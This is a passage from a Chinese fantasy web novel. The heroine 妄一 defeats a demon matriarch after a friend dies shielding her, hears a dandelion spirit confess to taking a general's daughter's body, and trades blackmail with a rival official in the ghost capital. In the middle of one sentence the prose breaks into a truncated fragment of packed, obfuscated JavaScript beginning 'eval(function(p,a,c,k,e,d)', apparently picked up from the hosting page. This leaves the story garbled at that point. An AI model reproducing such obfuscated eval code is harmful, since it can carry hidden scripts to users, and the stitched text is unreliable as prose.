老太闻声,嘴角噙着一抹冷笑,一开口,喉咙像卡着一口痰:“好大的口气啊,你将我洞府埋了,还问我是谁?我倒想问问你,我都跑到人间来了,为什么不放过我?如果没有你横插一脚,我说不定有多逍遥快活!” 留仙寨非一日建成,她本性为妖,占山为王、落草为寇是她的毕生追求。 “哦,是你这作恶多端的老妖婆!”妄一恍然大悟。那天她筋疲力尽,没能看清妖怪头子的模样,万万没想到会逼婚年轻新郎的,竟是个年过半百的老太。 妄一侧目,同情地看了眼横躺着的凌延卿。 凌延卿却皱眉疑惑道:“她怎么变这模样了......”他在寨里几乎天天要和大王见面,分别几日,他不至于认不出人。 老太面孔狰狞,立刻冲他骂道:“你个没有心肝的狗男人,我供你吃供你穿,相处数月,你和我真当半点情谊都无?私自协同外人差点取我的命,如果不是我反应快,耗尽大部分修为保下自己,说不定也被活埋于黄土之下!” 一场塌陷,麾下小妖尽数殒命,唯有她侥幸存活。为了躲避落石,她耗费太多法力,故而变成老态龙钟的样子。 她伸着枯柴似的手指,指责道:“你不愿和我相守,我不强迫你了。你我之间的情债,等我解决了这丫头,再慢慢盘算!” 妄一抢话道:“你要不要脸?他从来都没想跟你好,是你啃不下嫩草还恼羞成怒。” “呵呵,你就骂吧,骂个痛快吧!你大老远从鬼京追来,是御朝门也好,是恨殊门也罢,反正今天我必须要杀了你,为我徒子徒孙报仇!” 老太怒气腾腾,张嘴哈出一口浊气,放出十几个孩童,都是她这些天以卖花为由,拐骗来的无辜稚子。 数名鬼童眼露白瞳,毫无生气,僵硬的头顶上盛开着巨大的食人花,血盆大口里一股酸臭的黏液。 留仙寨大王阴险道:“别急,待会儿你也会死在我手里,变得像他们一样。” 妄一深陷法阵,行动不便,鬼童一拥而上向她扑来。万幸上肢还能有所动作,她赶忙甩出备用的锁链,不让邪物近身。 食人花吐出发绿的巨舌,滴下的粘液“吧嗒、吧嗒”糊在地上。 周良喜赶来撞见这一幕,她只是个普通人,双腿一软,连滚带爬躲到草堆不敢发声。 她不知道发生了什么,更不敢相信眼前所见。 此时锁链被凝成一把结实的长剑,妄一无法像御朝掌门操纵贴身法器,做到心念合一。但这些鬼童都是新魂,只要沉住气,未必不能将其击溃。 老妖婆怨毒的眼神似要把人瞪穿,这是她的杀手锏,其中的阴邪之力,唯有新的魂魄献祭才能平息。她嘴里发出一阵咒骂,砍吧,刺吧,临时合成的剑能撑到了几时?要不是她现在虚弱,不然阵法还能更厉害点。 她长吸一口气,再度吐出一波新的鬼童。 慢慢的,伏影锁合成的剑变得斑驳起来。 凌延卿急得额头冒汗,他有意相助,却也自身难保,咬牙努力半天,四肢仍不能活动。 周良喜在草堆里吓得浑身发抖。她知晓阿圆在和脏东西互相斗法,虽然不清楚是什么时候学会的。 她在暗处握紧了拳头,那是她相识多年的好友,在她绝望时伸以援手,收留她包容她。现在却在危境之中,被一群邪物逼得落于下风。 难道阿圆已经知道那件事?所以引来今夜这场祸端...... 老妖婆死死盯着妄一,吼道:“不要再做无谓的挣扎,你这条命,我要定了!” “少废话,仗才打到一半儿,谁死谁活还不一定!”妄一费力抵挡攻击,多亏自己身手敏捷,暂时未有流血。 老妖婆听得一肚子火,放下狠话:“你现在能说就让你多说点,等我收服了你,割你的舌头下酒喝!” 打斗愈发激烈,妄一咬紧牙关,如若不行,她暗下决定速召救兵。 躺着观战的凌延卿,看了几个回合,忽然瞳孔一紧,高叫:“舌头,是舌头!你试试砍食人花的舌头!” 妖花的胃口应是来者不拒,可据他留意,妄一那把剑几次靠近,食人花都闭上血口,如果不是弱点,又为何不生吞利器? 凌延卿的话如同一道惊雷,点醒了妄一。 老妖婆忍不住狂叫:“何时要你个负心汉多嘴?你以为我对你还有留恋?!” 她忽然伸出长臂,隔了好长的距离,直接掐住凌延卿的脖子。 凌延卿面无惧色,他一双眼平静冷漠,看得留仙寨大王一阵心痛。 他曾对她温柔地笑过,那种坦然与宽容,明朗又生动。虽然后来她知道都是假的! 她暗暗加大指骨的力气,悲愤道:“你不诚心悔过,也不向我求饶,好,我成全你。” 凌延卿就那样看着她,即便死到临头,眼神也未有一丝退意。 老妖婆狂笑一声,她要他付出代价,她不会再对他有旧情! 然而没等她亲手把他捏死,便觉脚底一阵粘稠。 低头去看,那不是食人花的粘液,而是暗红交错,充斥着腥臭味的血水。 “我的法阵!”不过走神片刻,飞来的锁链剑径直扎穿老妖婆的手,她吃痛地叫了声,不得已扔掉了凌延卿。 脚下的血水四处流散,不难分辨这是数具鬼童的尸身而化。是妄一趁她对旧人撒火时,飞速连穿食人花的舌头。 与此同时,那把剑像完成了使命,最后在扎穿老妖婆的手后,碎化在风中。 阵法破灭,禁锢的力量消失。妄一甩了甩几乎发麻的脚,不忘和对手得意道:“你还有什么招数?通通使出来。” “你.....你个臭丫头!!!”老妖婆见大势已去,扬头发出凄厉的怒吼,“我不会让你好过的,我哪怕今天跟你同归于尽,也不会让你好过的!!!” 她皱纹横生的脸庞因极致的怨毒而扭曲变形,双掌飞速运功,掌心生出一颗光球,押上她余下的妖力。 光球越大,她的状态就越老,强大的气压下,妄一丝毫不惧,只因怀中还藏着一张仙君给的护身符。 妄一像是胜券在握一般,挨过这道攻击,老妖婆必然没有余力,届时她几套拳脚功夫就能将其收服。 留仙寨大王在光球紫电的照耀下,变得苍老可怖,她憋着一嘴鲜血,眼神依旧疯狂。 当她奋力送出最后一招时,妄一亦捏紧救命符,坚信自己会劫后余生。 巨大的光球如同太阳,照得人睁不开眼。在这盛大的光芒下,千钧一发之际,不知从哪儿跑进来一个身影,坦然张开瘦弱的臂膀,挡在妄一面前。 强光刺眼,妄一根本看不清那人是谁,在被光芒吞噬前,她赶忙甩出护身符纸,但还是晚了一步。 耀眼的光波吞噬了那道瘦弱的身影,温热的血液溅在妄一的脸上。 光芒隐去,周良喜倒在血泊里,她骨肉破碎,气息奄奄。这是她犹豫许久,才做下生与死的决定。 妄一满脸怔然, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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妄一看着看着,脸上有些湿濡,伸手摸了摸脸颊。是眼泪......是余菀意的眼泪? 留仙寨大王趴在地上,笑得依旧放肆,问她失去重要之物的滋味如何呀?但在察觉到铺天盖地的杀气时,笑容瞬间僵住,取而代之的是深入骨髓的恐惧。 妄一袖中的丹纹神笔像感应到了滔滔不绝的怒气,自行从袖口钻出。伸手去捉时,笔身伴随淡黄色的微光,化成一柄崭新的神剑,横在她眼前。 妄一不知这神剑为何会突然现身,为何会如此契合她的心意,但当她握住剑柄的那一刻,发现它出奇趁手。 留仙寨大王在看到她如虎添翼后,忍不住害怕了。 “老东西,我要了你的命!”妄一举剑狠劈过去,将死之妖根本不能躲避。 这一剑,妄一不可控制地泄露了身上的法力,更准确地说,是这把剑在驱使她催动法力。 长剑刺穿咽喉,漫天烟火见证老妖婆惊恐扭曲的表情。 妄一手腕一转,深陷喉管的丹纹神剑被横过来,破肉而出,留仙寨大王的身体软软倒下,再也不能动弹。 大敌已除,妄一却没有半分喜悦,她呆滞地看向手里的剑,喃喃自语:“她怎么会......” 天上的爆竹声掩盖了话里的不解,老妖婆的尸身也腐烂成血水。 神剑变回毛笔的样子,收回了袖口。 妄一脱力地跪在地上,心头一阵悲凉。老妖婆死了,但这不是她想要的结局,相反,她还有些喘不过气。 凌延卿的手脚恢复了活动,他走到妄一身边,轻轻念起了往生咒。 妄一的眼睛转动了下,道:“没用的,她因为我,永不超生了。” 凌延卿没有停下,直到念完很长一串经文,才幽幽道:“你错了,我想超度的人其实是你。”他也不知道自己什么时候学会的,但看妄一内心将染业障时,脑海便不由自主闪现这段经文,仿佛他曾念了不下千万遍。 “你这是......什么话?”妄一不解地看向他。 “因为大义者身死却也在活人心中常驻。”凌延卿的声音温和而坚定,“我念经,是希望你不要太过自责,我想这也是那位姑娘不愿看到的。” 世间讲究因果循环,余菀意对周良喜不薄,才换得周良喜愿为朋友付出生命的真心,凌延卿恳求妄一不要把周良喜的死归咎于自己身上。她的选择,源于她的善良与勇气,而非妄一的罪责。 34. 夜诉原由献真心 周良喜什么都没留下,唯有地上碎成渣末的核桃酥。妄一小心翼翼将碎屑收拢,找了个地方,当替身葬了。 她还有重要的事情等着去做,现在还不能难过。 烟花游会结束,他们再次回到人群。 街上路人三三两两,各自归家。 周遭百姓议论纷纷,说在烟花盛放前,街上出现一群流氓窃贼。趁大伙把注意力放在天上,他们偷盗了不少东西。途中被人撞破了,就挥舞匕首威胁,幸亏余将军出现,控制住局面,此刻那些贼人被送去官府的路上了。 行人们对余将军的英勇事迹津津乐道,妄一半句也没听进去。方才与留仙寨大王一战,最后一剑让她不可控制地泄露了法力,这会儿鬼京的某位掌门估计感知到她在凡间了。 远山观的观主还在桥头,他双手合十目视前方,花白的长须随风飘荡。 妄一匆忙踏上桥头的那一刻,他突然开口:“施主身上罪孽太多,今生怕是难得善果。” 此言如一记警钟,措不及防敲在她心中。妄一顿了顿脚步,终究没有回头。 后追而来的凌延卿问怎么了?妄一不答,昂首挺胸地继续朝前走去。 今晚的余府大宅格外安宁,将军和夫人尚未归来,妄一进了宅门,直往余初琼的住处。 她现在人挡杀人,佛挡杀佛。法力都泄露了,她还有什么好忌惮的? “你不用跟着我了,我怕待会儿还有一场恶战。”妄一丢下这句话,把凌延卿晾在院门口。自己则气势冲冲,一脚踏进余初琼的院落。 橘猫蹲在廊下,“喵呜喵呜”冲她狂叫。妄一狠地一瞪眼,它夹着尾巴,落荒而逃。 秋拂听到动静,走出来看看,见是大小姐来,还一副不太友善的样子。 “大小姐这么晚了,有什么事吗?” “晚吗?我看不算晚。” 未得人应允,妄一挤开她,独身走进了屋里。秋拂折回来想阻拦,余初琼却率先开口了。 “秋拂,你下去休息吧。我许久没和姐姐交心了。” 秋拂仍然不安,心想大小姐这不客气的做派,不像寻常聊天,倒像是兴师问罪。她想阻拦几句,主子却对她轻轻摇头。 妄一拣了张凳子坐下,桌上的灯将余初琼照得宛如天人,如此长相,不知把她打回原形是否还有这么美丽。 对方的视线无遮无掩,余初琼淡定地放下手中的绣绷,绣了大半夜,她只完成了一部分。 “姐姐能来我很高兴,有话直说便是,琼儿自当恭听。” “哦,没有大事。我只瞧你生有芙蓉之貌,所以忍不住多看几眼。” “姐姐过誉,样貌都是天生的,美与丑都只是世人心中的成见。” 好一个谦虚,这等矜持的妖怪,让妄一跟着一笑,随后道:“余二小姐美则美矣,我就是好奇皮下生了个什么芯?善恶到头终有报,多行不义必自毙,你听过没有?” 余初琼的脸色微微一变,妄一不给她思考的机会,冷脸敞开话题:“余初琼?不,或许我不该这么叫你。但我有句忠告要给你,有些东西不是你的,终究不是你的,强求一事是万万做不得的!”她目光如炬,透着一股无畏的决绝。 余初琼只对视一眼,一股强大的压迫感便令她胆战心惊,不由颤声问:“你......你到底是谁?!” “哼,你不是早就知道了吗?从你那只猫对我的态度,你就应该猜出我不是她了吧?”妄一声音里满是讥讽,她进而捏住女妖的下巴,“我是假的,你也未必是真的。说,真正的余初琼在哪儿?” 女妖目瞪口呆,半天没回过神来。 “你自作聪明扰乱神仙历劫,你和留仙寨的妖怪有没有瓜葛?我受人之托,这就抓你回去伏法!”妄一毫无耐心,杀了留仙寨的妖婆,不足以解她心头之气。反正事情都已一团糟,若此妖不从,今晚她要再屠一条命便是。在入余府前,她就有了这觉悟。 “我......我没想过要逃!”女妖顿时泪眼汪汪,“您说我扰乱历劫我认,可留仙寨我是万万不知的。我等到今天,就料到我会有这下场.......” 她没有反抗,坐在地上掩面而泣。 “哭?哭有什么用?”妄一嫌恶道,“如果你想靠眼泪来迷惑我,那可就大错特错了。” 女妖悲切道:“不,您误会我了,我哭不是害怕,更不是奢求您的同情,而是想到我这几年受的苦总算要结束了......” 妄一戒备地看着她,妖精死到临头没撒腿开溜算她聪明,怎么还要说在这里受苦云云?见她养尊处优,且不为衣食而愁,还有什么不如意的? 女妖叹息一声,道来原因:“我从许多年前就提心吊胆了,可我没有选择,蒲公英落了脚就没有退路,我只能借这个身份活下去,想自首都没去处。” 窗外的夜色像一滩化不开墨,妄一坐回凳上,听她诉说来历。 那似乎是一件很遥远的事,占据余初琼肉身的妖精守着秘密度日如年。屋里摇曳的烛火,她抬起手对外面的某一个方向,伸出了指头。 她说,她从那里来,本是一株荒野修行的蒲公英,名叫“素欢”。 草木修炼并不比动物快,她不知道在世上生存多久,机缘巧合下才慢慢有了意识。素欢感谢上苍的恩赐,为此她一心修道,几经风雨,才进化出灵智。 那日她乘风而起,落在山巅,极目远眺,山脚驻扎着几千人的军队。 在数十顶错落排布的帐篷里,她见其中一顶上方有虹光庇护。 想来这是仙人降生,素欢好奇地多看几眼,生出追随之意。若他日那位仙人能重列仙班,可否也能捎上她,一同飞升? 是以,她默默在山巅上守护,直到那晚,她目睹敌军侵袭,废了好大劲,才叫贼人抱错孩子。 素欢本想等仙人脱离困境后,她再想办法去救那个无辜婴孩。可惜她修为尚浅,赶回去的时候,孩子已死在乱刀之下,气绝多时。 “我深知修行也讲究因果,我种下了因,可我没想到果是要那孩子替我偿还。”忆起往事,素欢如鲠在喉。 她捂着心口继续道:“为了赎罪,我托生在她躯壳里,想替她走完今生的行程,来世盼她顺当些。可是我太傻了,我真是太傻了!修行以天道为原则,我因一己之私干涉她们的因果。等我想到这一切都是无用功后,我已经用她的身份活下来了。” 蒲公英落地就能生根,素欢无法再离开她的躯壳。这一困,就是十几年。 妄一听完她的遭遇,心中豁然开朗。怪不得初见时,她竟丝毫没察觉到对方身上的妖气。 素欢摘下手腕上的玛瑙珠链,双手托举,献给妄一。 妄一略感不解,待目光落在珠链上时,又转为惊讶道:“这是?!” 素欢温言开口:“此物我贴身收藏,随身佩戴。我借用了她的身份,自然要携她一同经历人世。如今,您来了,我想把这一切归还于她,您看可行?” 妄一手指轻捻玛瑙珠,从珠子温润的光泽便能看出,余初琼的魂魄被滋养得不错。届时回去交由司命老爷,应当能让其重回身躯。 “不过......你确定这一切都是她的吗?”妄一收好珠子,话锋一转,意有所指,“比如这张脸蛋,这副皮囊,这一切也都是她的?” 在莲烨门观看天书时,妄一就觉得奇怪。将军即使五大三粗了些,可也生得浓眉大眼,难道司命老爷编写天书时,连个好容貌都舍不得给仙子? “......真是什么都瞒不过您。”素欢无力地笑了笑,“我当时只是株小蒲公英,没有本事救人,情急之下,便和尚在襁褓中的仙人借了口气。这口气果然没那么好借,我学艺不精,不知怎的把她们的容貌调换了。说白了,我这副样貌本该生在莞意身上。”说着,素欢轻抚自己的脸庞,神情悲伤,“这容貌不是我存心想得,仙人之气与精怪相冲,这些年我也因为这张脸,没有好过多少。” 想起周良喜死前提过一嘴,妄一顺着话问她这脸怎么回事? 素欢道:“我用凡人的身份苟活于世,但内里还是精怪 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想起宫宴那晚,两人在池边相见的场景,妄一又问:“你认识凌延卿?”若是认识,说不定能帮他想起记忆。 “不,我不认识!”素欢微不可觉地咳嗽一声,“我见他如鬼影似的站在那里,走近了发觉他身上蔓延出来的死亡气息。我怜悯他,开解几句当是做好事。” 妄一眉头紧锁,陷入沉思。那会儿的凌延卿想必经病入膏肓,站在池塘边,难不成是准备跳水自尽?她转头回看凌当事人。凌延卿像在听故事似的,毫无反应。 “你还有别的坏事要交代的吗?”妄一问素欢。 素欢摆摆手,说:“没......没有了。如今您抓我去,是杀是罚,我都认了。” 她表现诚恳,眉宇间竟隐隐透着几分解脱的快意。 可半晌过后,妄一竟缓缓敛去周身的敌意,右手掐诀,一道柔和的光芒落在素欢身上。 “您这是......” “你有悔过之心,也无作恶之意。我见你绣工出色,成品若没能完成,岂不是有些可惜?所以多宽限你几日。” 素欢怔然片刻,这位大人一直在她的对面,如何能通过刺绣来估量她的技艺?但她还是重重在地上磕了个头,感激道:“多谢大人!” 妄一负手而立,没有多说废话。 这株蒲公英是有错,但她不像留仙寨大王丧尽天良。有此恩典亦是看在素欢认错积极的份上,虽说不能开后门,但砸个小孔还是可以的。何况莲烨掌门只负责揪出谁人捣乱历劫,抓不抓人全看心情。 当然,素欢也逃不到哪儿去。妄一在她身上使了法诀,让她活动范围彻底被限制在余府里。 在司命老爷请人过来收拾残局前,她大可以好好和人间做场道别,就是不知将来他们会不会被抹掉相关者的记忆。 了却这桩事,妄一就带凌延卿走了。她飞身上了高楼屋檐,天边已近黎明。 今夜真不简单,称得上惊心动魄。妄一先与留仙寨大王恶斗,后又审问素欢。原以为仙子历劫之行深藏阴谋,没想到这么痛快就解决了。 冬夜的砖瓦是那么冰凉,她枕着手臂躺在上面却浑然不觉。心里有些烦闷,却不知怎么说。 凌延卿坐在旁边陪她,他是个魂魄,见不了人间的日光,只能享受太阳升起的前一刻安宁。 妄一不经意地看他一眼,见其弯着唇角,似有什么乐子不能让人知道。 凌延卿眨眨眼,柔声道:“我没笑什么,我就是在想大人真是个好人。” “好人?”妄一冷笑,因为宽限那妖精几日就被定义为好人?她哼了声,说:“年轻人到底想法浅薄,你没看出来我自身都快难保了。” 寒风在瓦上一阵阵地吹,在杀那老货时,她泄露了法力,御朝大人抓到莲烨大人的小辫子,估摸会快马加鞭来人间逮她吧,唯一好处是有免费车马坐喽。 凌延卿却失笑道:“我看不像。” 35. 入鬼京逢狗挡道 几日后的傍晚,阿辞如期至琳琅园接人。 在这期间,妄一写信通知司命老爷有关素欢的事,隔日便有兵将下凡缉拿。素欢表现配合,抬起双手,仍由冰冷的锁链将其押走。念她知错能改,妄一琢磨或许上面能从轻发落。 阿辞不晓得这些,再相见,他是以沧桑之姿四蹄落地。 妄一猜他是被承英刁难,他却张口哀嚎:“大人啊,您可算让我接您回去了!您不在,咱们莲烨门空前绝后的忙碌,我跟陀螺转似的,四处给你打点,不是我催您,您到底何时给莲烨门招个正经人手?” 妄一及时叫停了他的絮叨,反问:“你近来这般忙碌,并非御朝掌门找你麻烦吗?” “......大人,我一只小小赤狐,又不是苍鸯殿正经伙计,没给我发工钱,还倒贴给您做事,他无缘无故找我麻烦干嘛?莫非您......”他想到不妙的事,递去惊恐的眼神,妄一尴尬地别过头去,没承认也没否认。 阿辞又朝凌延卿看了眼,他正端坐一边,专心致志看窗外飞过的麻雀。 阿辞顿时痛心道:“大人,当初千叮咛万嘱咐的事,您怎么就忍不住呢!御朝门专管鬼京人流去向,您一定是泄露法力,偷来凡间的事儿瞒不住啦!” “咳咳,这倒未必......”妄一强行装作淡定,“我既然出手了,便是情势所迫,我只恨自己没早些动手,白白毁了一个无辜之人......承英那边我自有对策,否则也不会气定神闲地等你来接应。” 阿辞两只眼一大一小,发出质疑。 “别看了,大方回京便是!这趟人间之游不算白来,司命老爷的功德我是赚定了。”妄一胸有成竹。 阿辞心下嘀咕,但没泼冷水。仙子的魂魄还由他保管着,既要全身而退了,便催大人快去床上躺好。 微光环绕下,妄一附身余菀意的这几天,心中略有感慨。 锦阕能被誉为仙子,骨子里多少存有几分骄傲。可自从她转世为人后,虽有将军爹庇护,过得却不那么顺心。不知她结局会如何,左右帮人摆平了此事,后续发展,都与妄一无关。 阿辞拿着符纸,照大人教的口诀,纸张马上自燃。 灿烂一瞬后,锦阕的仙魂化成星光飞入余菀意的身躯。 火光映照下,妄一走下床。红衣姑娘面如新月,眉目清丽不失英气。 凌延卿在旁边静静看着,这是他首次清清楚楚见到妄一的真身。当人活生生站在他面前,他几乎忘了眨眼。 阿辞见状,捂嘴偷笑。 妄一被他看得浑身不自在,质问凌延卿:“我一双耳朵两只眼,一个鼻子一张嘴。没比人家多长,也没比人家少长。你这样盯着我是为何?” “没、没什么。”凌延卿收回目光,神色渐渐恢复自然,“我只是觉得好像在哪儿见过你。”怕她不相信,他又坚定地说:“我没有骗你。” 妄一未作反应,这话对她而言很是耳熟,毕竟身为掌事大人,诸如此类的搭讪,她听过无数次。不出意料,后一句就该跟着:所以这件事劳烦大人您帮帮忙...... 但望着凌延卿光影浮动的眼睛,里面有种久别重逢的浓烈情绪。妄一张张口,脑海忽然停止否定。 细看他眼中似有热泪...... 他们真的见过吗?妄一皱了下眉,无法确定。 阿辞跳出来,道:“这有什么好稀奇的呀?我们大人是响当当的人物,没准你前世到过鬼京,犯错了被大人叉进牢也说一定!有什么疑问,不如回莲烨门再细说,时候不早了!” 外面天色不知何时暗了,余菀意在床上似有即将苏醒的迹象。 启程前,妄一问凌延卿,要和姨母见最后一面吗?若进鬼京,再出来可没那么容易。 本是一句好意提醒,凌延卿想都不想便摇头拒绝了。何止是姨母,他对这里的一切都没有留恋,失忆的人,像是死去多年一样,什么都不惦记,什么都不牵挂。 阿辞再度化为狐狸,载他们在天上乘风而过,月下的大地透着一股说不出的清冷。连神欲鬼京的那块石碑,也是一如往昔的苍凉。 石碑之外,是无边无际的黑暗荒凉,人立于其间,顿生渺小之感。可一旦越过,便是鬼京最繁华的善恶大道。 进去前,妄一不忘将红色发绳取出,随意缠绕于发。佩戴完毕的瞬间,她身形一晃,已然变回高七尺有余、气度凛然的莲烨掌门。 “大人不等回到门里再缠吗?”阿辞抖身化回人形,疑惑地询问。 “不了,我就是要光明正大地踏进这里。”妄一理了理朱红色衣领,继而吩咐,“阿辞,你先带他走。路上要是有人问起,就说是我的远房亲戚。” “咦?您不和我们一起?”阿辞挠挠头,他越来越琢磨不透大人了。 妄一嘴唇一勾,冷笑道:“我倒是想,可我怕进去立刻就有琐事缠上来,你们在,我不方便。” 有时候,莲烨大人的直觉真是准得可怕。 承英得知其在人间,没有过去抓人,也没有找来莲烨门,他在等什么?在等人赃俱获的大场面呀! 御朝门的苍蝇,闻名遐迩已久。 凌延卿双目怔愣,没从妄一骤然变性的震惊中回过神,就被阿辞拽走了。他满肚子疑问,或许要到了莲烨门才有人解答。 妄一在石碑外稍作停留,推迟一炷香后才缓步而进。在虚幻的光影下,眼前的街道建筑慢慢清晰。 神欲鬼京正值中午时分,莲烨掌门突然出现在善恶大道,驻守大门的守卫也全当没看见他,翻翻登记进出的册子,擦擦手上的兵器,总之头是不愿抬起半分。 “不拦我吗?”妄一眨眨眼,故意询问,“不拦我,我可就走了?” 俩守卫避开目光,御朝大人早就命令过了,如遇莲烨掌门,甭管他横着进来还是竖着进来,都跟他们无关。 妄一哼了一声,猖狂离去。 他一走,其中一个守卫擦了把汗,和旁边的兄弟说道:“你且在这守着,我去禀告一声咱们大人。” 于是,没等妄一见着苍鸯殿的四角惊鸟铃,某个讨厌的人就找过来把路堵了。 他不去寻君,君自来见他。 那人身穿锦绣袍,腰束紫金带,长眉弯弯,看样子心情不错。反正这种“捡了钱”的笑容,在妄一印象里,不太可能会出现在御朝掌门的脸上。 “哈哈,我道是谁,莲烨大人在神欲之地来去自如,脚长得连人间都去过了,不知那儿风光如何,回来不与我说说?”他一开口,是熟悉的趾高气扬之色,更何况现有把柄在手。 妄一偏头一笑,从容回道:“劳烦您密切关注,我确实游了一趟,所获心得只多不少,正想找机会和您交流交流。” 他坦率承认,引得承英有些意外,本以为要在这里拉锯一番,没料到妄一如此干脆。 承英道:“交流什么?去牢里交流吗?莲烨掌门许是忘了苍鸯殿有条专门限制掌事的规定。要不要我帮你回忆回忆?” “御朝掌门,话不要说得太满。”妄一客气提醒,“人人都道您热衷惩恶扬善,只是有句话叫得饶人处且饶人。” “哼,我只知道有错必纠,有罪必查!”承英竖起眉毛,正义凛然,“有人犯了条例,且妄想瞒天过海。我循法办事是苍鸯殿赋予我的权利,我应不负娘娘的厚望才是!” “嗯,您说得没错。”妄一不但没生气,反而轻轻鼓起掌来,“您这份刚正不阿的精神实乃令我佩服,希望您能一直坚守本心。” “什么话?”承英侧目,今天他单枪匹马来堵人,也是好心给妄一留几分面子,省得人多眼杂,莲烨掌门腆不下脸来求他放一马。 但现在,对面的好像不领情呐。 “我的意思是我有错,但御朝掌门也非无过之人!”妄一声 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当日的那一剑收割了留仙寨大王的性命,妄一看见她脖子上有一处烙印,这是每个被恨殊门处以斩首的罪犯必须烙上的印迹。后来妄一琢磨这事,按照老妖婆的模样和特性,对照来对照去,能配上的只有花煞姥姥。 真是老天有眼,让妄一抓到了这个漏网之鱼。花煞姥姥在外兴风作浪,承英却早早在死刑簿上画了叉。 哼,御朝掌门想欺上瞒下,也得看莲烨掌门答不答应! 有这张底牌在手,妄一就敢理直气壮站在这里。现下双方都捏住彼此的小辫子,谁都不多占一分理。 承英的手骨捏得“咯咯”作响,早没了开头的春风得意。 这花煞并非是他有意放走,而是她使诈偷溜出去的,直到行刑之时,才发现人已不见踪影。情急之下,他只好先找别的死刑犯替上,等找到原主,再补空缺。 可承英运气不好啊,派去搜寻的人有十余个,竟没一人回信。还是妄一走运,难得去趟凡间,就给撞上了。 他吃瘪没话讲,僵着脸,问妄一要怎样。 “御朝大人多虑了,我不想怎样,和你说这些,也不是想吵架,别用一副大敌当前的样子来应对我。”妄一微笑道,“我们都做了错事,不如就两两相抵如何?” 这操作利人利己,妄一不揭发他疏于职守,承英也别揪着他私渡凡间不放。权衡利弊,这条贼船,御朝掌门不上也得上。 妄一耐心等候回音,时而掸一掸衣上的灰尘,一副悠然之样。反观承英,他的画面似乎静止了,唯有脸色在升温。 在耐心耗尽之前,妄一舒展一下脖子,终于听到某人几乎咬牙切齿,艰难地说出的两个字:“成......交!” 撇下这话,承英避如蛇蝎般离去。 在这之后,妄一确实有很长一段时间都没见着御朝掌门。除却有意避开的缘故,也是因为承英想起自己弄巧成拙,反被人问罪的事,会影响一整天的胃口。 这场风波,总算有惊无险地平息。 妄一回到莲烨门,凌延卿正闭目躺在椅子上。 问起原因,阿辞说他进了鬼京,起先好好的,见过会吐人言的飞禽,直立行走的走兽,都没任何异样。直到转角处,碰上俩小妖踢着一颗人头玩耍,好巧不巧,踢到了凌延卿的怀里,他瞳孔瞬间放大,没来得及“啊”一声,就昏了过去。 妄一听得直皱眉,这样的场景在鬼京随处可见,何况凌延卿自己也是鬼,怎么还胆怯? 怪他在人间徘徊多日,见识太少,没关系,往后多看看就好了,看得多了,也就司空见惯了。 又过了几天,御朝掌门派人送鬼籍来了。这是妄一上次和承英达成共识后,另外麻烦他的事。 区区一个鬼籍,对承英来说一句话的事,但仍拖了几天送到莲烨门,想必是心里那口气实在难咽。他与莲烨门本就不对付,到头来还得为人家做事。 36. 择英在即速投名 有了鬼籍,凌延卿便能在鬼京大方行走。 此地的太阳不似人间毒辣,即便是鬼魅之物也能坦荡展现于日光底下。但这位公子似乎并不喜欢到处转悠,他在莲烨门东边那处茅庐里躺了整整一天,醒来便坐在屋前的石阶上发愣,一坐就是一下午。 妄一问他是不是想起以前的事了?凌延卿轻轻摇了摇头,意志好像有些消沉。 许是环境转变太快,让他不能马上接受。 阿辞出于好心,给他讲讲有关鬼京和苍鸯殿的事。但这都是纸上谈兵,趁外面夜色晕染天空,妄一自作主张,提溜着人出门而去。 善恶大道的街头歌舞升平,喧闹之中那些笑声、闲谈声、哭声、争吵声,各路妖魔鬼怪走在一起,有些面目狰狞,有些阴柔不显性。 “神欲鬼京众生百态,皆需遵守此地条例。你会习惯这里,或者等我解开你身上的谜题,再送你去投胎也行。”妄一和他同行,好言好语地劝导凌延卿既来之,则安之。 妄一说这里聚集的各类鬼怪妖精,虽然习性各有不同,但在苍鸯殿的治理下,逞凶斗狠,无视法理者皆被关押收服。换句话来讲,这里的生活其实与人间没太大差别。 凌延卿“嗯”了声,说自己知道,他表情也一直淡淡的。 二人从苍鸯殿出来,一路直下。相较上回人间的烟花游会,鬼京的热闹大有不同。妄一偷暼几眼,见他始终抿唇蹙眉,既不看路边琳琅满目的摊位,也不看路过的清凉女郎。 他们有一句没一句聊着,行至街角时,凌延卿的脚步忽然顿住,留意起路边的乞丐。 他们长着人的样子,有躺着的,有坐着的,跟前放着个残缺的碗儿,灰头土脸地求人给口饭吃。可惜眼前一双双脚快步离开,凡是他们所在之处,周遭都空出三尺之远,生怕近了会染上了不得的大病。 妄一把手按在凌延卿的肩膀上,告诉他别看了,再看亦是无用。 凌延卿感到些许困惑,生前不知是他生活富足,还是各地治安稳定,他几乎没见过行乞者。鬼京是不在乎吗?而且看路人退却的样子,竟是如此冷漠。 妄一嗤笑一声,语气带着几分讥诮:“别用那种眼神看着他们,你知道他们遭人嫌恶的原因吗?” 凌延卿天真道:“是因为不讲卫生,过于邋遢?” “要这么简单就好了!”妄一道,“这些人生前生前挥霍无度,又惯于游手好闲,死后被地府打发到这儿要饭,日积月累,身上散发的穷苦之气,别说是跟他们有交集,光是路过都会影响到别人运势。”他尤其强调凌延卿一定要离得远一点,毕竟他们本身就够倒霉了。 街边的行乞者是鬼京特殊的存在,需要够九万九千九百九十九碗才能再过奈何桥。一日要不完饭,一日就要过穷苦日子。想让人讨饭,又不让别人接近,地府开的条件,过程之困难,光待在这儿守着破碗,恐难有出路。 妄一见不得凌延卿同情,咳嗽一声道:“好了,可怜之人必有可恨之处,把你的恻隐之心收一收。与其关心别人,不如多担忧担忧自己。阿辞想必已和你提过一嘴,咒痕一日无解,你永远都不是自由身。” 同情是一种善良的表现,但过于泛滥只会阻挠人前进。 “那......她也是吗?”凌延卿将手指向抚安河边。 “哪个?”妄一目光眺望。 抚安河历史悠长,连通人间各条水道,河上灯火嶙峋,星星碎碎照亮了漆黑的河水,也照亮了某个女人的脸。 她蒙头垢面,不修边幅,静静地坐在一块大石上,搂着个破烂枕头,双目无神,呆呆地看着远方,如同一座雕塑。 乍一看,是很埋汰,但和街头的乞丐又有差别,嘴里鼓鼓囊囊,听不清念的是“小叶儿”还是“小月儿”。 “......她啊,傅娘子和他们不同,但也要离得远些。”妄一收回视线,语气沉了沉,“这位来鬼京的时间比我都早,生前执念颇重,没做什么恶事,但时至今日仍不肯去投胎。” 